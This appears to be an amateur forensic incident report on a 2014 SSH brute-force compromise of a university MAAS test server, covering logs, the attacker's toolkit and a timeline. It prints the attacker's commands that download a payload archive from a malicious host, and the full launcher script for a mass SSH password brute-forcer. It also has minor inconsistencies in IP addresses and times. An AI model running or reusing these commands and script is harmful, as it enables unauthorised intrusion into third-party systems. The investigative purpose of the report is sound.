Preliminary Intrusion Report

Introduction

This document is a first glance over the system compromised on the 23rd of November 2014. It is largely an account of casual observation, following anything that looks vaguely aberrant by observation of the filesystem.

The machine in question is running the latest verion of MAAS' ubuntu-based distribution, configured as a controller. It was compromised by way of SSH bruteforce against an entirely stock SSHd configuration, which we were unaware was even running. The account compromised ('daniel') had sudo access. The hostname was 'glasgow'.

The investigations below took place on a cloned disk, mounted read-only by a kernel and root medium that was subsequently erased, on a machine disconnected from the network.

Files Accompanying this report

Within the `files.tar.gz` tarchive you'll find all of the logs used in this report, along with the exploit binaries and copies of the archives identified as the source. Additionally, the forum post that seems to be the origin of the SSH brute forcing tool is provided in HTML format under the `scanner-docs/` directory.

Activity Logs

First up, the most obvious place to look: this guy left `~/.bash_history` behind. The first twelve lines of which are:

```
w
ls
passwd
ifconfig
cat /proc/cpuinfo
wget http://descargarcs.net63.net/fv/ghh.tgz
tar -zxf ghh.tgz
rm -rf ghh.tgz
chmod +x *
cd .vogz
chmod +x *
screen
```

At the top of this, the attacker downloads a package from descargarcs.net63.net/fv/ghh.tgz, which is contained in the `files/` directory next to this report. I'll get back to this later.

His commands essentially run to: [toc]

1. Check no-one's around who could mess with me (`w`)
2. See what's fun in `~daniel/`
3. Change the password (to prevent further login during this session? This seems like a silly thing to do since it gets you noticed)
4. Check the architecture of the machine, to ensure the precompiled binaries run (`cat /proc/cpuinfo`)
5. Grab the exploit code, along with some sundry tools
6. Extract everything into a temp dir, and clean up the old archive.
7. Set the execute bits and disappear into the version of screen that came in the tarchive

The commands are at the top of the bash history file, prior to calls to `apt-get` that install various tools — the logs for apt indicate that the attack took place before the 17th of November. This is contradicted by the auth logs, which show no SSH logins before the 23rd, and also by the fact that the password was changed, yet continued to work until the attempted local login on the 24th. The bash history log is 178 lines long, yet the attacker's entries are at the top: this implies it was cleared half-way through his attack.

This is the last we see in any shell log.

Inspection of the `~daniel/` shows that the original extraction dir for the tar (`~/.vogz`) no longer exists, but `~/.bssh` does. This contains the ssh scanning tool:

- core.number — There are three of these ~6.4MB binary files, which seem to be core dumps (file says they're 32-bit ELFs 'from /usr/sbin/httpd'). If core dumps, the number would be a PID. Notably `/usr/sbin/httpd` doesn't exist, and the core dumps contain strings that list processes the box didn't run, such as nova-agent (which I believe is a rackspace thing). At a guess, they're from other systems.
- session.txt — contains the text '72' only
- scan.log — One-line-per-ip listing of 13631 sequential addresses. Based on the `scan` script, this might contain items that have an open SSH port but haven't been accessed yet.
- nobash.txt — 1577 rows containing the details of SSH connections to avoid. I first thought this was an 'already compromised' list, but most of them seem to instantly disconnect you after connection, or are Dell SonicWall boxen. Whitespace-separated fields are username, password, ip, port.
- pass.txt — Username/password combinations to try. Space-separated, one-per-line. Contained within this file is the combination that cracked our box: daniel/daniel.
- pscan — The actual scanning binary. This is binary, and contains strings that identify it as "Multithreading Port Scan v2.2 @ 2014! by lan.tester@yahoo.com" along with the offer to email them for support and donations. No thanks. It's a statically linked 32-bit ELF.
- scan — This is a shell script, which I shall reproduce here later. Its job is to parallelise pscan in a manner commensurate with the system ability. The general algorithm in this is that `pscan` is used to test ports on a load of hosts, which are then tested for SSH access by the `ssh2` binary. This script deletes session.txt and scan.log on start, inplying that they are used to communicate between the scanning and ssh testing tools.
- ssh2 — A 2.5MB binary which `strings` reveals to be "SSH2 Bruteforce v2.2 @ 2014" by the

same yahoo account as before. It takes similar arguments, and seems to use:

[toc]

- pass.txt — Contains a string indicating that this is required
- interface.txt — not sure what this does since we don't have a copy
- session.txt
- scan.log — Contains a string indicating that this is required
- nobash.txt

The Logs

Auth.log indicates that the first ssh login on the `daniel` account was at 02:21:16 on November 23rd. This was a dev machine so this was the only account other than root. The initial attack came from 104.131.165.104, and contained no identification string. This session lasted just a few seconds until 02:21:29, and seems to be the scanning tool logging in to verify that the shell works.

The following log entries accompany the next login attempt:

```
Nov 23 03:08:54 glasgow sshd[11250]: reverse mapping checking
getaddrinfo for 79-115-46-226.rdsnet.ro [79.115.46.226] failed -
POSSIBLE BREAK-IN ATTEMPT!
Nov 23 03:08:54 glasgow sshd[11250]: Accepted password for daniel from
79.115.46.226 port 46471 ssh2
Nov 23 03:08:54 glasgow sshd[11250]: pam_unix(sshd:session): session
opened for user daniel by (uid=0)
```

This session lasts until 09:34:33, and is is presumably the attacker following up on his script's findings. A third login from the same host occurs at 15:20:32 and lasts until 10:29:14 the next day, when the machine was shut down after a number of local failed login attempts using the 'daniel' account.

- The syslog shows nothing too worrisome, though there is a lot of spam as MAAS makes heavy use of it and the DNS/DHCP setup was broken on the 23rd.
- There's nothing obviously dodgy with the crontabs too.
- Root's bash history seems to be untouched, or at least edited to seem that way.
- HTTPd shows only access from the MAAS nodes and us
- The apt package manager logs show nothing was changed except for our access
- The kernel log shows that SSH segfaulted 9 minutes after the first access by the attacker. This happened often and was probably not related—the logs show it crashing many times a day and that rate did not change. At 19:47:36 on the 23rd the kernel reports "net_ratelimit: 4421 callbacks suppressed", followed by a series of warnings that a machine at 109.199.138.146:22 has changed its TCP window size unexpectedly. This is apparently indicative of packet fragmentation so could be indicating the use of a tunnel or some other unreliable connection.
- `/var/log/squid3` contains a very strange set of logs. Squid was installed during setup and, as far as we knew, never used (though it could be part of the MAAS framework). The log files are empty or missing, and only `netdb.state` contains data: mostly lines pertaining to ubuntu's servers but with occasional entries for www.adulttraffictrade.net (SFW). I'm not entirely sure what the netdb feature does, but it seems to be some cache peering scheme. Either someone

cleaned up their squid stuff well or we just have some random stuff lingering from the default setup and/or MAAS use.

Files Changed

Using `find / -newermt "Nov 23"` the various files changed since the attack were identified. The list is presented here:

```
.bash_history.bak   (me taking a backup before shutdown)
.lesshst            (me again...)
.bash_history
.bssh/session.txt
.bssh/scan.log
.bssh/nobash.txt
```

Aside from those in ~daniel, the equivalent list for the root directory contains 840 files, including:

- Files edited in the normal course of running a MAAS cluster server
- /lib/cpp — a broken symlink to /etc/alternatives/cpp which I think is just Ubuntu cruft
- Some viminfo files that don't indicate anyone used vim until I did
- The odd boot file, which is identical to those on unchanged ubuntu installs so presumably just gets touched on boot anyway

Using extundelete, it's possible to recover 265 files. Unfortunately these do not include the lost directory from ~daniel, or any files other than those maintained by MAAS or normal running of the system. A scan by rkhunter returned no more suspicious files than the same performed on a new install (the scan results are in the files directory).

Though `daniel` had sudo access this seems not to have been used to change the system, though it's going to be hard to tell if any of the binaries are changed without diffing them all, which I lack the time and resources to do. The system was not a production box and as such did not have any IDS or system monitoring tools installed.

The SSH Scanner

The scanner is explained at hackforums.net, which is private unless you pretend to be the Googlebot. It's mirrored in the tar this report came in.

The scanner available for download from zippyshare.com, and is even called 'bssh'. This version seems to be updated and, though the forum link was written in 2013, shows an upload time of 20-02-2014. The files distributed in this archive are identical to those in the `.bssh` directory on the target machine. This file is ***not*** the same as that pulled from net63.net by the attacker.

The scanner is available on a number of different attack sites, and seems to be a fairly ordinary scanner without central control. I haven't run it, debugged it, or reversed it though.

The scan shell script that controls the process is:

```
#!/bin/bash
############### Config ###############
pscanThreads=1000
ssh2Threads=250
port=22
pscanTimeout=1
ssh2Timeout=3
############## Running ##############
rm -rf scan.log session.txt
./pscan $1 $port $pscanThreads $pscanTimeout unlimited
sleep 2
./ssh2 $ssh2Threads $port $ssh2Timeout unlimited
```

This is also identical to the one found in the 'official' bssh package (even the configuration values).

The RDP Scanner

The download from the logs, from net63.net, is an entirely different scanner. The tarchive contains the following files:

- .vogz/ — The directory we saw in the logs. Most enlightening.
- .vogz/n-n — A shell script to launch a binary tool repeatedly over a range of numbers
- .vogz/rdp.pass — Presumably a list of RDP passwords.
- .vogz/rdp.log — A list of IP, Username, Password and protocol (port?) combinations that have presumably been used at some point for something? Usernames and passwords look simple, so this might be a list of compromised things.
- .vogz/rdp — Dynamically linked 32-bit ELF 21KB in size that contains the string "Remote Destop Scanner Started < by mysql @ #ReMuSeR Team [Undernet Network]>".
- .vogz/run — A Shell script that iterates over the ranges provided in the `n-n` files, running the RDP tool using their values
- .vogz/rdp.users — Perhaps a counterpart to rdp.pass. This is a very short list if they're being brute forced though.

From the name (typo and all) it looks like this tool might have been used to identify remote desktop targets, as a form of internal network scan. It looks unrelated to the SSH brute forcer, perhaps an attempt to leverage the access the attacker has to the internal network.

The user/pass files are very short, meaning that if this is a brute force it's certainly a targeted one. This might be due to the slow nature of RDP attacks, or perhaps it's just an opportunist thing that tries the most common Windows passwords for RDP. There are 5669 passwords listed and 11 entries in the 'users' file, the latter of which is mostly a set of plausible defaults and system account names.

I do not understand why the tarball contains a log already.

The name of the subdomain of net63.net, 'descargar cs', is the name of an unofficial counter-strike distribution that comes packaged without Valve's Steam client ('descargar' is Spanish for 'freeing'/'unloading'). The hosts, net63.net, seem to offer free hosting, and the subdomain in question redirects to a download page for said counter-strike version, hosted at metin2gajik.com. The domain it redirects to has private WHOIS information.

When accessed from certain browsers, a message is displayed saying:

```
Website Under Review
You are seeing this page because the system administrator of
000webhost.com is currently checking this website for malicious content
```

So presumably someone has reported another attack.

Summary

I'd first like to reiterate that I am not a security researcher, and this has only been a cursory glance over the files available on the system.

There is evidence of two attacks. The former is an RDP scan which would seem to be the main payload. The latter is an SSH scan which would seem to be of the same kind as lead to the initial login (to the point where the accounts are attempted in the same order).

RDP Scanning

The attacker first downloads the RDP scanning toolkit. At this point we lose the SSH logs, but it's reasonable to assume that this stage is the main purpose of the attack: to gain access over RDP to internal network resources. We don't have any files that indicate the results of this.

SSH Brute Forcing

The purpose of this stage may only be to identify the next target, as I was unable to find any (obvious) command/control system to distribute the scanning work given to the tools I found, nor any way of uploading results. If the main goal is ***not*** accumulating shell accounts, this throwaway method seems reasonable as it reduces any technical pointers back to the attacker.

Timeline

- 2:21 — First login from 104.131.165.104. This lasts seconds and is presumably just the SSH scanner verifying that it has broken in before disconnecting. That IP continues to scan through the same list we have in pass.txt, and it looks like the same attack method running on a previous compromised machine.
- 3:03 — First login from 79.115.46.59. This session lasts much longer (until 9:34) and comes from an IP that is not opportunistically trying passwords, so I assume it's the attacker. GeoIP lookup indicates it's a residential IP from Bucharest. An educated guess would be that this session is the RDP scan, overseen manually.
- 15:20 — Second login from 79.115.46.59. This session lasts until 10:29 the next morning, and is presumably used to perform the SSH scanning portion of the attack. It is ended by a locally-performed reboot, when the password is found to be changed.

It’s possible that the attack involved stages other than the two scans we have evidence for, but the short duration for which the box was compromised and the relative complexity of the scanning tasks implies that this was not the case.

[toc]

The machine that was compromised was running a temporary setup for experimenting with MAAS. It contained almost no data and was essentially a stock install with minimal configuration. ***We*** lost almost nothing. The impact of the RDP and SSH scans is unclear, however, and the former of these would presumably be the greatest risk to such a large network as the university.

Last edited 26 Nov 2014, 12:31